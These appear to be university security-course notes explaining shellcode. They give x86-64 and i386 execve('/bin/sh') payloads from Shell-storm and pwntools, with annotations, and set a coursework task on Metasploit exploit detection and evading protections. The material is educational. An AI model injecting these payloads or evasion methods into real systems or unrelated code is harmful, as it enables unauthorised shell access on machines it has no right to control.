6048CEM Week 3
xorq %rdx, %rdx
movq $0x68732f6e69622fff,%rbx
shr $0x8, %rbx
push %rbx
movq %rsp,%rdi
xorq %rax,%rax
pushq %rax
pushq %rdi
movq %rsp,%rsi
mov $0x3b,%al # execve(3b)
syscall
pushq $0x1
pop %rdi
pushq $0x3c # exit(3c)
pop %rax
syscall
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0x3b */
pop eax
int 0x80
Building a /bin/sh string
Shell-storm
xorq %rdx, %rdx
movq $0x68732f6e69622fff,%rbx
Pwntools
push 0x68
push 0x732f2f2f
push 0x6e69622f
Exec Syscall
mov $0x3b,%al # execve(3b)
syscall
push SYS_execve /* 0x3b */
pop eax
int 0x80
From
(https://www.usenix.org/legacy/publications/library/proceedings/sec98/full_papers/cowan/cowan.pdf)
CW1: Report (1500 words),
Evaluating how well-known off-the-shelf exploits, for example from Metasploit, are detected by protection mechanisms, and evaluating methods of avoiding this protection